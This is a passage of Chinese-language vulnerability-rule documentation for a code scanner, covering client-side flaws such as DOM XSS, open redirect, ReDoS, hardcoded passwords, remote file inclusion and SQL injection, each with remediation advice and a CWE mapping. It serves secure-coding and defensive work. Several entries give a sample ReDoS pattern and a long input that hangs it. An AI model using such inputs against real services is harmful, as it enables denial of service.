解释	如果应用程序未限制通过 Web Messaging 与特定域进行通信，不管目标 Web 页面的实际位置在哪里，浏览器会将应用程序消息分发到任意目标 Web 页面。这样，消息可能会发送到不可信任的域的错误页面。这可能泄露敏感的应用程序数据或用户信息，使恶意第三方拦截到此信息。 HTML5 Web Messaging API 允许使用 targetOrigin 参数发布消息。如果此 URI 的值与目标窗口文档的当前位置不匹配，则浏览器将禁止发送消息。以文本字符串 "*" 标记 targetOrigin 参数以表示没有偏好，无论目标位置是哪里，浏览器都会发送消息。这会将数据披露给可能会改变窗口位置的任意恶意站点，而且用户可能完全不知情。
建议	一定要为 .postMessage 函数提供一个特定的 targetOrigin，不要使用 "*"。 targetOrigin 应是硬编码的，至少要使用白名单。
CWE	CWE ID 942
OWASP2017	None

返回目录

漏洞名称	**Client Password In Comment**
默认严重性	3
摘要	应用程序包含嵌入到源代码注释中的密码，例如 X（文件） 文件第 N 行的 XX（元素），这会被用户轻松看到。
解释	通常应用程序的源代码都是可以检索和查看的。如果是 Web 应用程序，还可以更方便地在用户浏览器中操作 "View Source"。因此，恶意用户可以窃取这些密码，并用其冒充任何拥有该密码的所有人身份。而且不好确定此类密码是否是有效的、最新的密码，也不好确定其是用户密码还是后端系统（如数据库）的密码。 设计良好的应用程序应为源代码提供充分的注释。通常，程序员会将部署信息留在注释中，或保留开发期间使用的调试数据。这些注释通常包含秘密数据，例如密码。这些密码注释会永久保存在源代码中，不受保护。
建议	不要在源代码注释中保存密码等秘密信息。
CWE	CWE ID 615
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Client Password Weak Encryption**
默认严重性	3
摘要	X（文件） 文件第 N 行的硬编码值 XX（元素） 在 Y（文件） 文件的 YY（元素） 中被用作密码
解释	硬编码的密码容易使应用程序泄露密码。在客户端代码中很容易即可看到源代码，所以攻击者能够窃取嵌入的密码。这包括伪装成应用程序的最终用户，或伪装成应用程序访问远程系统，如数据库或远程 Web 服务或 API。 攻击者成功伪装成用户或应用程序，攻击者就可以获得系统的全部访问权限，执行所伪装身份可以执行的任何操作。 应用程序代码库将字符串文本密码嵌入源代码。这个硬编码的值可能会在下游被用于通过异步请求验证远程系统（例如 API 或远程 web 服务）。 攻击者只需查看源代码即可发现硬编码的密码。
建议	不要依赖硬编码值作为密码 不要为了通过客户端代码进行身份验证而将密码发送到客户端代码 如果需要使用某些第三方 API 或 web 服务进行身份验证，请考虑以下选项： 使用服务器到服务器的方式，即用户可以触发到服务器的请求 让服务提供商提供更加可靠的授权方式，使用户在账户中能够执行特定操作，例如 Token；将这些 Token 发给用户，而不要使用账户密码，以避免滥用
CWE	CWE ID 261
OWASP2017	None

返回目录

漏洞名称	**Client Path Manipulation**
默认严重性	4
摘要	X（文件） 文件第 N 行 XXX（方法） 方法从 XX（元素） 元素获取动态数据。然后，此元素的值将传递到代码，并最终在 Y（文件） 文件第 M 行的 YYY（方法） 中用于本地磁盘访问的文件路径中。这可能会导致路径遍历漏洞。
解释	攻击者可能为要使用的应用程序定义任意文件路径，可能导致： 窃取敏感文件，例如配置或系统文件 覆写文件，例如程序二进制文件、配置文件或系统文件 删除关键文件，导致拒绝服务（DoS）攻击。
建议	理想情况下，应避免依赖动态数据选择文件。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项： 数据类型 大小 范围 格式 预期值 仅接受文件名的动态数据，而不能接受路径和文件夹的数据。 确保文件路径完全规范化。 明确限制应用程序只能使用与应用程序二进制文件夹分开的指定文件夹。 将应用程序的 OS 用户的权限限制为只能使用必要的文件和文件夹。应用程序不应该能够写入应用程序二进制文件夹，也不应该读取应用程序文件夹和数据文件夹之外的任何内容。
CWE	CWE ID 73
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Potential Ad Hoc Ajax**
默认严重性	3
摘要	X（文件） 文件第 N 行中的 XXX（方法） 返回的数据被 Y（文件） 文件第 M 行中的 YYY（方法） 进行了随机评估，这可能会导致执行恶意代码。
解释	对外部提供的或可能不可信任的字符串使用评估方法可能会导致注入恶意代码，从而导致跨站点脚本 (XSS) 攻击。 客户端代码用于从 URL 发出请求，然后评估其响应，这会绕过服务器执行的输入净化。在 Javascript runtime 评估 JSON 对象或导入外部脚本时，通常会使用此反模式，尤其是使用 webview 的本机应用程序；但是，如果使用方式不当，可以操纵 JSON 响应内容或预期脚本源代码的攻击就能注入任意代码。
建议	尽量避免使用 eval() 命令。对于 JSON，可考虑使用不会意外地将对象作为代码评估的专门 JSON 解析解决方案。对于代码导入，可使用现有的功能，例如 <script src> 或 "import"。
CWE	CWE ID 693
OWASP2017	None

返回目录

漏洞名称	**Client Potential Code Injection**
默认严重性	4
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者可通过外部输入 XX（元素） 将恶意负载注入受害者的浏览器。这会被浏览器通过 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后浏览器会自己执行此代码。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 攻击者可使用社交工程技术（错误格式的链接或其他方式）说服受害者使用攻击者的代码。这将使攻击者能够控制用户使用 Web 应用程序的体验、劫持浏览器以更改显示的网页、加载网络钓鱼攻击以及执行任意脚本。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM 并引入恶意内容。 在这种情况下，浏览器会读取不可信任的代码，并在客户端执行。 在这种情况下，执行的有效负载是从动态页面内容导出的，而后者可能受到用户输入的动态影响。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。

返回目录

	为应用程序的来源实施内容安全策略（CSP）和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。 在客户端，不要使用任何形式的动态代码评估不可信任的数据。只有硬编码命令可以使用动态评估。
CWE	CWE ID 94
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Potential DOM Open Redirect**
默认严重性	3
摘要	X（文件） 文件第 N 行 XX（元素） 元素提供的可能被污染的值被 Y（文件） 文件第 M 行 YY（元素） 元素用作目标 URL，这可能使攻击者可以执行开放重定向。
解释	攻击者可能使用社交工程让受害者点击指向此应用程序的某个链接，以此方式将用户立即重定向到另一个攻击者选好的另一个网站。然后攻击者可以伪造一个目标网站来欺骗受害者；例如，攻击者可能伪造一个钓鱼网站，其 UI 外观与之前网站的登录页面相同，其 URL 看起来与之前网站的相似，以此蒙骗用户在此攻击者的网站上提交自己的访问凭证。再比如，某些钓鱼网站的 UI 外观与常用支付服务的相同，以此蒙骗用户提交自己的支付信息。 应用程序将用户的浏览器重定向到由污染的输入提供的 URL，而未能先确保 URL 定向到可信任的目标，也未警告用户他们将被重定向到当前网站外部。攻击者可能使用社交工程让受害者点击指向此应用程序的链接，其中使用参数定义了另一个网站，以使应用程序将用户的浏览器重定向到此网站。因为用户可能没有注意到被重定向，他们可能会误以为他们当前浏览的网站是可信任的。
建议	理想情况下，不要允许任意 URL 进行重定向。而要创建由用户提供的参数值到合法 URL 的映射。 如果需要允许任意 URL: 对于应用程序站点内的 URL，先对用户提供的参数进行过滤和编码，然后执行以下操作之一: 创建在应用程序内允许的 URL 的白名单 将变量以同样的方式用作相对和绝对 URL，方法是为变量添加应用程序网站域的前缀 - 这可保证所有重定向都发生在域内 对于应用程序外的 URL（如必要），执行以下操作之一: 先通过可信任的前缀来筛选 URL，之后通过白名单重定向到所允许的外部域。前缀必须测试到第三个斜杠 [/] - scheme://my.trusted.domain.com/，以排除规避。例如，如果未验证到第三个斜杠 [/] 且 scheme://my.trusted.domain.com 是可信任的，则此过滤器会认为 URL scheme://my.trusted.domain.com.evildomain.com 是有效的，但实际浏览的域是 evildomain.com，而不是 domain.com。 为了实现完全动态开放重定向，请使用一个中间免责声明页面来明确警告用户正在离开此站点。
CWE	CWE ID 601
OWASP2017	None

返回目录

漏洞名称	**Client Potential ReDoS In Match**
默认严重性	3
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起 给定特定值来匹配时，应用程序使用已知会花费很多时间的正则运算；但这些值是从用户输入中获取的，使其能够触发拒绝服务攻击。
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Potential ReDoS In Replace**
默认严重性	3
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起 给定特定值来匹配时，应用程序使用已知会花费很多时间的正则运算；但这些值是从用户输入中获取的，使其能够触发拒绝服务攻击。
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Potential XSS**
默认严重性	4
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 与反射或存储型 XSS 不同，DOM XSS 的另一个风险是，受污染的值不必通过服务器。因为服务器不参与这些输入的净化，所以服务器端验证可能不会意识到 XSS 攻击已经发生，并且任何服务器端安全解决方案（如 WAF）在解决 DOM XSS 问题时可能都无效。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 发生 DOM XSS 时，是客户端代码自己操纵本地 Web 页面的 DOM、从某些客户端存储中提取数据并意外引入恶意内容。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值

返回目录

	在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Client Privacy Violation**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法向应用程序外发送用户信息。这可能造成“侵犯隐私”。
解释	用户的个人信息可能被恶意程序员或拦截数据的攻击者窃取。 应用程序将用户信息（例如密码、帐户信息或信用卡号）发送到应用程序外，例如将其写入本地文本或日志文件或将其发送到外部 Web 服务。
建议	应该在将个人数据写入日志或其他文件之前将其删除。 检查将个人数据发送到远程 Web 服务的必要性和理由。
CWE	CWE ID 359
OWASP2017	A3-Sensitive Data Exposure

返回目录

漏洞名称	**Client ReDoS From Regex Injection**
默认严重性	4
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client ReDoS In Match**
默认严重性	4
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起 给定特定值来匹配时，应用程序使用已知会花费很多时间的正则运算；但这些值是从用户输入中获取的，使其能够触发拒绝服务攻击。
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client ReDos In RegExp**
默认严重性	4
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起 给定特定值来匹配时，应用程序使用已知会花费很多时间的正则运算；但这些值是从用户输入中获取的，使其能够触发拒绝服务攻击。
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client ReDoS In Replace**
默认严重性	4
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起 给定特定值来匹配时，应用程序使用已知会花费很多时间的正则运算；但这些值是从用户输入中获取的，使其能够触发拒绝服务攻击。
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Reflected File Download**
默认严重性	4
摘要	X（文件） 文件第 N 行未为 Content-Disposition 标头定义显式 filename。 Filename 属性是防止浏览器假定资源是可执行文件并下载可能的恶意文件所必需的。
解释	反射文件下载（RFD）是一种使攻击者能够通过受害者计算机上的网络获取 RCE（远程代码执行）的漏洞。 在 RFD 攻击中，受害者浏览恶意 URI，此 URI 能将文件下载到计算机上并执行 OS 代码，这导致 RCE。 成功的 RFD 攻击需要 3 个条件: 1) 反射——用户的输入应反映在服务器的响应中。 2) Permissive URL – URL 或 API 过于宽松，使攻击者可以使用可执行文件扩展名构建合法的 URI。 3) 下载响应 - 下载响应而不是呈现响应，浏览器将使用 (2) 中的 URI 中的文件扩展名设置文件。
建议	使用编码——转义字符是没有用的，因为有问题的字符仍然存在，所以需要使用编码。 带有用于 API 的 Filename 特性的 Content-Disposition —— Content-Disposition 响应头定义了如何处理响应并用于附加其他元数据，例如 filename。设置 filename 特性可以让浏览器无需猜测资源类型，并可避免添加不必要的可执行扩展。 CSRF Token ——如果可能，请使用 CSRF Token 以防止攻击者创建有效链接并发送给受害者。 自定义标头 —— 通过要求 API 调用提供自定义的 HTTP 标头，可能在客户端侧使用同源策略。这样 RFD 便不会再受到攻击，除非还有其他漏洞。 删除对路径参数的支持——如果不需要，请删除对路径参数的支持。 添加 X-Content-Type-Options 标头——添加 X-Content-Type-Options:nosniff 可避免攻击者使浏览器“猜测”该文件的预期内容是可执行的，然后下载该文件。
CWE	CWE ID 425
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Regex Injection**
默认严重性	3
摘要	应用程序使用 X（文件） 文件第 N 行的危险的正则表达模式 XX（元素），以搜索用户输入并与 Y（文件） 文件第 M 行的 YY（元素） 比较。
解释	ReDoS（正则表达式拒绝服务）可以使用复杂的模式来导致拒绝服务攻击（DoS)。对于某些模式，处理时间会按照输入大小呈指数增长。攻击者可以使用这些正则表达式使应用程序花费大量计算时间来处理数据集上的正则表达式，从而导致应用程序挂起。 ReDoS（正则表达式拒绝服务）是一种利用指数级时间最坏情况复杂度的算法复杂性攻击。特别是某些正则表达式——无论是应用程序中经过显式编码的，还是从用户输入中获得并用于搜索文本的——都会导致对某些输入文本进行极高量的处理时。例如，\`(a+)+` 会因长字符串 "aaaaaaaaaaaaaaaaaaaaaaaa!" 的输入而挂起
建议	不要使用输入构造正则表达式。 确保所有硬编码的正则表达式都不会受到 ReDoS 攻击，特别是要确保最坏情况复杂性不会导致应用程序挂起。 尽量避免不必要的复杂表达；编写尽可能简单的正则表达式。
CWE	CWE ID 400
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Remote File Inclusion**
默认严重性	3
摘要	应用程序在 Y（文件） 文件第 M 行使用 YY（元素） 载入了外部库或源代码文件。攻击者可能会利用此漏洞，导致应用程序加载任意代码。 请注意，客户端应用程序从远程第三方服务器检索外部 JavaScript 库。此信任模型可能会被利用，使用户的浏览器加载并执行任意代码。
解释	如果攻击者可以选择库的名称或应用程序加载的代码文件的位置，攻击者就可能让应用程序执行任意代码。这样攻击者便能有效地控制应用程序运行的代码。 这使远程攻击者能够修改用户浏览器显示的页面，在 Web 应用程序的环境中执行任意代码，甚至操纵或泄漏发送到 Web 服务器的任意请求。 应用程序使用不可信任的数据指定库或代码文件，未进行适当的净化。这会导致应用程序加载指定的任意代码。然后执行加载的代码。 虽然远程代码文件的 URL 是在开发时定义的，但托管远程代码的不可信任的第三方可能会使用任意 JavaScript 替换目标代码文件。同样，远程服务器也可能被利用，可能在服务器不知情的情况下，攻击者就会替换掉服务器的代码文件。
建议	不要动态加载代码库，尤其是不要根据用户输入加载代码库。 如果需要使用不可信任的数据来选择要加载的库，请验证所选库名称是否与预定义的已列入白名单的库名称集匹配。也可使用值作为标识符从已列入白名单的库中选择。 对用于加载或处理库或代码文件的不可信任的数据进行验证。 具体而言，要避免在客户端应用程序中引用远程第三方脚本，除了众所周知的基础架构库，例如 jQuery 和 Angular。
CWE	CWE ID 829
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Resource Injection**
默认严重性	5
摘要	应用程序在 Y（文件） 文件第 M 行的 YYY（方法） 方法使用 X（文件） 文件第 N 行的 XX（元素） 提供的可能受污染的值打开了一个资源。 这可能使攻击者能够控制应用程序的 I/O 资源，或者导致应用程序耗尽其可用资源。 攻击者可能能够控制套接字的远程地址或端口，方法是修改 X（文件） 文件第 N 行 XXX（方法） 方法中的用户输入 XX（元素）。然后该值会被直接用于打开并连接套接字到远程服务器。
解释	资源注入产生的影响与实现方式关系很大。如果允许攻击者控制服务器侧资源 I/O，例如网络、存储或内存，攻击者可能会更改这些资源的路由使其暴露、生成多个实例来耗尽资源，或以能够屏蔽其他 I/O 操作的方式创建一个资源。 此外，这个漏洞会被利用来绕过防火墙或其他访问控制机制；使用应用程序作为扫描内部网络端口或直接访问本地系统的代理；或误导用户将敏感信息发送到虚假服务器。 应用程序根据用户的输入创建了一个能够使攻击者可以控制的资源。
建议	禁止用户或不可信任的数据定义 I/O 参数，例如网络套接字、存储访问权限或其他资源配置。 如果可能，将 WebSockets 限制为预定义的 URL。
CWE	CWE ID 99
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Sandbox Allows Scripts With Same Origin**
默认严重性	4
摘要	在 X（文件） 文件第 N 行的 XXX（方法） 创建了一个主动禁用同源策略并允许脚本的 iframe。
解释	嵌套到启用了同源策略的网页中的 iframe 会使 iframe 的代码内容影响或读取 iframe 嵌套的父页面的上下文。再结合启用的脚本，能够更改 iframe 源的攻击者可以在父页面的上下文中执行跨站点脚本 (XSS) 攻击。 iframe 的沙盒配置将指示浏览器是否阻止 iframe 针对父页面执行潜在的恶意代码，以及如何处理 iframe 中发现的脚本代码。同时允许同源和脚本意味着允许 iframe 中运行的脚本更改和读取父页面的内容和上下文，从而导致与父页面受到跨站点脚本 (XSS) 攻击相同的影响。
建议	配置 iframe 沙盒时一定要使用应用程序功能所需的最小权限。具体来说，就是除非明确信任 iframe 的内容提供方，否则不要在 iframe 沙盒中允许同源或脚本。
CWE	CWE ID 829
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Client Second Order Sql Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 执行了 SQL 查询。应用程序通过在查询中嵌入不可信任且未正确地进行净化的字符串构造 SQL 查询。拼接的字符串被提交到数据库，然后它在那里被解析并执行。 攻击者可以通过修改外部输入 XX（元素） 在 SQL 查询中注入任意数据，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后该值无需净化即可经代码到达本地数据库。 这可能使客户端受到 SQL 注入攻击。
解释	攻击者可以直接访问系统的所有数据。攻击者可能会窃取系统存储型敏感信息，包括私人用户信息、信用卡信息、专有业务数据和任何其他秘密数据。同样，攻击者可能会修改或删除现有数据，甚至添加新的伪造数据。在某些情况下，甚至可以在数据库上执行代码。 除了直接披露或更改机密信息之外，此漏洞还会被用于实现二次效应，例如绕过身份验证、破坏安全检查或伪造数据跟踪。 还有一方面会进一步增加这个漏洞被利用的可能性，就是此缺陷很容易被攻击者发现，而且容易使用。 此漏洞虽然影响范围很大，但只会影响存储在客户端上的数据。 应用程序通过向数据库引擎提交文本 SQL 查询来存储和管理数据库中的数据。应用程序通过简单的字符串拼接创建查询，嵌入了不可信任的数据。但是，数据和代码之间没有分离；此外，既没有检查嵌入数据的数据类型有效性，随后也没有进行净化。这样，不可信任的数据可能会包含 SQL 命令，或者修改指定的查询。数据库会将被更改的查询和命令视为来自应用程序，然后执行它们。 如果攻击者能够影响插入原始查询的值的来源，攻击者就可以利用此漏洞。
建议	验证所有来源的所有不可信任的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 特别是要检查： 数据类型 大小 范围 格式 预期值。 根据最小权限原则，限制对数据库对象和功能的访问。 不要使用动态拼接的字符串来构造 SQL 查询。 建议为所有数据访问使用 DB 存储过程，代替随机的动态查询。 不使用不安全的字符串拼接，而是使用安全数据库组件，例如参数化查询和对象绑定（用于命令和参数）。

返回目录

	另外还有一种更好的解决方案，就是使用 ORM 库为应用程序预定义和封装可以使用的命令，避免直接动态访问数据库。这样，代码层和数据层就会彼此分离。
CWE	CWE ID 89
OWASP2017	A1-Injection

返回目录

漏洞名称	**Client Server Empty Password**
默认严重性	3
摘要	应用程序进行身份验证（如验证用户身份或访问另一个远程系统）时使用空密码 XX（元素）。X（文件） 文件第 N 行的此空密码显示在代码中，并且如果不重建应用程序就无法更改，并表示相关账户已经暴露。
解释	对于允许空密码的服务，空密码会是攻击者首先要猜测的。若不能保证强大的身份验证标准，敏感的服务、信息和系统就很容易受到攻击。 设置的密码为空，表示密码已被硬编码到应用程序中，并且会被试图访问此密码所属帐户的人轻易猜到。
建议	通过策略和可用的技术手段禁止任何账户使用空密码访问系统、服务或信息。 不要在源代码中硬编码任何秘密数据，特别是密码。 特别是用户密码应储存在数据库或目录服务中，并使用强密码 hash（例如 bcrypt、scrypt、PBKDF2 或 Argon2）提供保护。不要将用户密码与硬编码的值进行对比。 系统密码应保存在配置文件或数据库中，并使用强加密（例如 AES-256）进行保护）。要安全地管理加密密钥，不能使用硬编码。
CWE	CWE ID 259
OWASP2017	A2-Broken Authentication

返回目录

漏洞名称	**Client SQL Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 执行了 SQL 查询。应用程序通过在查询中嵌入不可信任且未正确地进行净化的字符串构造 SQL 查询。拼接的字符串被提交到数据库，然后它在那里被解析并执行。 攻击者可以通过修改外部输入 XX（元素） 在 SQL 查询中注入任意数据，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后该值无需净化即可经代码到达本地数据库。 这可能使客户端受到 SQL 注入攻击。
